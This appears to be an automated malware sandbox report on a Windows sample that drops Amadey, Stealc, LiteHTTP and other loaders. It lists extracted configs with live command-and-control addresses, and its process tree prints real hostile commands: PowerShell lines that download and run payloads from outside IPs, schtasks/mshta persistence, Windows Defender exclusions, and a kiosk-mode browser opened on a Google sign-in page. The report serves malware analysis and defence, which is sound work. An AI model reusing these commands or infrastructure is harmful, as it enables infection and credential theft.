Overview

overview

10

Static

static

5

5c9465cda4.exe

windows7-x64

10

5c9465cda4.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 20:58

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5c9465cda4.exe

  • Size

    938KB

  • MD5

    1fa9c173c6abaae5709ca4b88db07aa5

  • SHA1

    dc77a5b0aeede04510ad4604ff58af13fd377609

  • SHA256

    3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247

  • SHA512

    8bf7ea16e4ac88460842de1ab9abeeccb930d1bd309a8d06e2e33fab96cdd8a6f7a001dede7eedbe3511cba20e8799591e45a1a00bb484899bc255f3af811534

  • SSDEEP

    24576:OqDEvCTbMWu7rQYlBQcBiT6rprG8a09u:OTvC/MTQYxsWR7a09

Score
10/10
amadeygcleanerhealerlitehttpstealc092155trumpbotdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

litehttp

Version

v1.0.9

C2

http://185.208.156.162/page.php

Attributes
  • key

    v1d6kd29g85cm8jp4pv8tvflvg303gbl

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • LiteHTTP

    LiteHTTP is an open-source bot written in C#.

    stealerbotlitehttp
  • Litehttp family
    litehttp
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 19 IoCs
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 23 IoCs
  • Identifies Wine through registry keys 2 TTPs 11 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 7 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 48 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 21 IoCs
  • Suspicious use of SendNotifyMessage 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\5c9465cda4.exe
    "C:\Users\Admin\AppData\Local\Temp\5c9465cda4.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2260
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 7TtQgmaw3g9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\ARG18DPWM.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 7TtQgmaw3g9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\ARG18DPWM.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2284
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\ARG18DPWM.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2240
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'QUDNOFIJ395CPUAN4M7TKLMCOZOXUZWG.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Users\Admin\AppData\Local\TempQUDNOFIJ395CPUAN4M7TKLMCOZOXUZWG.EXE
          "C:\Users\Admin\AppData\Local\TempQUDNOFIJ395CPUAN4M7TKLMCOZOXUZWG.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2436
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1796
            • C:\Users\Admin\AppData\Local\Temp\10104900101\ce4pMzk.exe
              "C:\Users\Admin\AppData\Local\Temp\10104900101\ce4pMzk.exe"
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1048
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\MURP0T6t\Anubis.exe""
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2176
            • C:\Users\Admin\AppData\Local\Temp\10106470101\zY9sqWs.exe
              "C:\Users\Admin\AppData\Local\Temp\10106470101\zY9sqWs.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2884
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 1020
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:2644
            • C:\Users\Admin\AppData\Local\Temp\10106670101\f590126b2e.exe
              "C:\Users\Admin\AppData\Local\Temp\10106670101\f590126b2e.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:3000
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn ExV1ImalU84 /tr "mshta C:\Users\Admin\AppData\Local\Temp\rlVWQIoZS.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1124
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn ExV1ImalU84 /tr "mshta C:\Users\Admin\AppData\Local\Temp\rlVWQIoZS.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2220
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\rlVWQIoZS.hta
                7⤵
                • System Location Discovery: System Language Discovery
                • Modifies Internet Explorer settings
                • Suspicious use of WriteProcessMemory
                PID:2020
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'Q4ICL9NOOSUNLZYUKUKHNIKELLEXBM26.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1464
                  • C:\Users\Admin\AppData\Local\TempQ4ICL9NOOSUNLZYUKUKHNIKELLEXBM26.EXE
                    "C:\Users\Admin\AppData\Local\TempQ4ICL9NOOSUNLZYUKUKHNIKELLEXBM26.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2356
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\10106680121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1268
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:828
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:2264
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3016
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:1496
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1612
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:2292
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2280
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "sGoDbmanEG2" /tr "mshta \"C:\Temp\svhI53b6p.hta\"" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2908
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\svhI53b6p.hta"
                7⤵
                • System Location Discovery: System Language Discovery
                • Modifies Internet Explorer settings
                PID:2804
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2736
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2608
            • C:\Users\Admin\AppData\Local\Temp\10106720101\12d46c5e89.exe
              "C:\Users\Admin\AppData\Local\Temp\10106720101\12d46c5e89.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2968
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:108
            • C:\Users\Admin\AppData\Local\Temp\10106730101\6dac4cad30.exe
              "C:\Users\Admin\AppData\Local\Temp\10106730101\6dac4cad30.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1528
              • C:\Users\Admin\AppData\Local\Temp\10106730101\6dac4cad30.exe
                "C:\Users\Admin\AppData\Local\Temp\10106730101\6dac4cad30.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:1468
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 1012
                  8⤵
                  • Loads dropped DLL
                  • Program crash
                  PID:2388
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1528 -s 508
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:2068
            • C:\Users\Admin\AppData\Local\Temp\10106740101\b29e5d50da.exe
              "C:\Users\Admin\AppData\Local\Temp\10106740101\b29e5d50da.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2588
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1632
            • C:\Users\Admin\AppData\Local\Temp\10106750101\f58873a636.exe
              "C:\Users\Admin\AppData\Local\Temp\10106750101\f58873a636.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              PID:2644
            • C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
              "C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
              6⤵
              • Executes dropped EXE
              PID:2208
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FB30.tmp\FB31.tmp\FB32.bat C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
                7⤵
                  PID:1648
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1556
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2268
              • C:\Users\Admin\AppData\Local\Temp\10106780101\11eddf214e.exe
                "C:\Users\Admin\AppData\Local\Temp\10106780101\11eddf214e.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1304
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1304 -s 1212
                  7⤵
                  • Loads dropped DLL
                  • Program crash
                  PID:1644
              • C:\Users\Admin\AppData\Local\Temp\10106790101\ad172f5f1a.exe
                "C:\Users\Admin\AppData\Local\Temp\10106790101\ad172f5f1a.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2396
              • C:\Users\Admin\AppData\Local\Temp\10106800101\38f8ad48e7.exe
                "C:\Users\Admin\AppData\Local\Temp\10106800101\38f8ad48e7.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:2784
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM firefox.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1360
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM chrome.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2292
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM msedge.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2516
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM opera.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2624
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM brave.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2712
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                  7⤵
                    PID:2136
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                      8⤵
                      • Checks processor information in registry
                      • Modifies registry class
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2372
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.0.1545092195\1334968157" -parentBuildID 20221007134813 -prefsHandle 1220 -prefMapHandle 1212 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2fe23d0-d032-4021-ba63-6788db3bbe67} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 1284 121d7f58 gpu
                        9⤵
                          PID:2840
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.1.239636886\1544831015" -parentBuildID 20221007134813 -prefsHandle 1488 -prefMapHandle 1484 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {065e6a16-9902-4cda-b636-099eb000cbb9} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 1500 d72a58 socket
                          9⤵
                            PID:2928
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.2.1971120851\1675006183" -childID 1 -isForBrowser -prefsHandle 2212 -prefMapHandle 2208 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 896 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d23e5e41-ea70-4787-9992-9effb73a43a6} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 1936 18fe0e58 tab
                            9⤵
                              PID:2492
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.3.1273999381\377969280" -childID 2 -isForBrowser -prefsHandle 2896 -prefMapHandle 2892 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 896 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {24fe2292-ab2f-4eac-90fe-9e91f9766493} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 2908 1b116b58 tab
                              9⤵
                                PID:2484
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.4.1803025147\892740091" -childID 3 -isForBrowser -prefsHandle 3612 -prefMapHandle 3640 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 896 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce7caf73-800b-4a44-a7ea-eab27dc2fb29} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 3660 1f667558 tab
                                9⤵
                                  PID:2924
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.5.1272837408\1153696026" -childID 4 -isForBrowser -prefsHandle 3780 -prefMapHandle 3784 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 896 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bafe0439-1472-47ef-a4c2-41e18ad4d368} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 3768 1f669f58 tab
                                  9⤵
                                    PID:2744
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2372.6.914789866\371708281" -childID 5 -isForBrowser -prefsHandle 3944 -prefMapHandle 3948 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 896 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ab715700-653a-4862-8a1e-a89160c15ab0} 2372 "\\.\pipe\gecko-crash-server-pipe.2372" 3932 1fa2d958 tab
                                    9⤵
                                      PID:2704
                              • C:\Users\Admin\AppData\Local\Temp\10106810101\9cd284ebb6.exe
                                "C:\Users\Admin\AppData\Local\Temp\10106810101\9cd284ebb6.exe"
                                6⤵
                                • Modifies Windows Defender DisableAntiSpyware settings
                                • Modifies Windows Defender Real-time Protection settings
                                • Modifies Windows Defender TamperProtection settings
                                • Modifies Windows Defender notification settings
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Windows security modification
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:692
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10106821121\PcAIvJ0.cmd"
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:3200
                              • C:\Users\Admin\AppData\Local\Temp\10106830101\v6Oqdnc.exe
                                "C:\Users\Admin\AppData\Local\Temp\10106830101\v6Oqdnc.exe"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3340
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3340 -s 1204
                                  7⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:3512
